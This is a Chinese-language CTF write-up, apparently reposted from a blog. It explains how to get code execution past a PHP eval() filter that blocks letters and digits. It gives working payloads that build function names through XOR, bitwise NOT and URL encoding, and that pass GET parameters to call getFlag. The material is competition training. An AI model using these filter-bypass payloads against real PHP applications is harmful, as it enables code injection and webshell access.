zoukankan      html  css  js  c++  java
  • 【奇技淫巧】过滤了字母和数字,如何写 shell


    日期:2018-08-13 11:56:26
    作者:Bay0net
    介绍:金融行业正式比赛的一个题目


    0x01、题目信息

    文中给了一个代码

    <?php
    include 'flag.php';
    if(isset($_GET['code'])){
        $code = $_GET['code'];
        if(strlen($code)>40){
            die("Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
            die("NO.");
        }
        @eval($code);
    }else{
        highlight_file(__FILE__);
    }
    //$hint =  "php function getFlag() to get flag";
    ?>
    

    过滤了大小写字母和数字,如何传参来获取 flag?

    0x02、构造过程

    2.1 有关 php 的异或:

    A的ASCII值是65,对应的二进制值是01000001

    ?的ASCII值是63,对应的二进制值是00111111

    异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~

    2.2 举个栗子

    <?php
        function B(){
            echo "Hello Angel_Kitty";
        }
        $_++;
        $__= "?" ^ "}";
        $__();
    ?>
    
    1. 关于 $_++; ;因为$_ 事先没有定义,所以等于 null,然后执行自加的操作,此时 $_=1
    2. 关于 $__= "?" ^ "}";;这里的 $__是字符 B
    3. 最后一句,等价于 B(),执行了 B() 这个函数
    ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
    上面的是_POST
    

    2.3 关于 GET 传参

    源码如下

    <?php
    function getFlag() {
      echo 'flag_is_here!';
    }
    echo (eval($_GET['gg']));
    ?>
    

    方法1:

    ?gg=${_GET}[_]();&_=getFlag
    
    ?gg=${"`{{{"^"?<>/"}["`"^"?"]();&_=getFlag
    

    方法2:博客里的,没搞懂 ${_GET}[__] 干啥的:

    ?code=${_GET}[_](${_GET}[__]);&_=getFlag
    
    ?code=$_=_GET;${$_}[_](${$_}[__]);&_=getFlag
    
    ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
    

    方法3:把 getFlag 取反,然后进行 URL 编码

    <?php
    $a = urlencode('getflag');
    echo urlencode(~$a);
    ?>
    
    gg=$_=getflag;$_();
    gg=$_=~%98%9A%8B%B9%93%9E%98;$_();
    

    方法4:

    ?gg=$阿=getflag;$阿();
    
    ?gg=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
    

    Referer

    记一次拿webshell踩过的坑

  • 相关阅读:
    android连接wifi模块
    idea 控制台乱码debug
    线程控制
    jvm 垃圾回收
    java 单例模式
    http报头
    java 构造函数 , 参数传递 , lamda表达式
    mysql 杂识
    spring mvc 配置 拦截器不起作用
    spring mvc 每次请求后是否自动销毁线程
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/how-to-write-shell-without-characters-and-numbers.html
Copyright © 2011-2022 走看看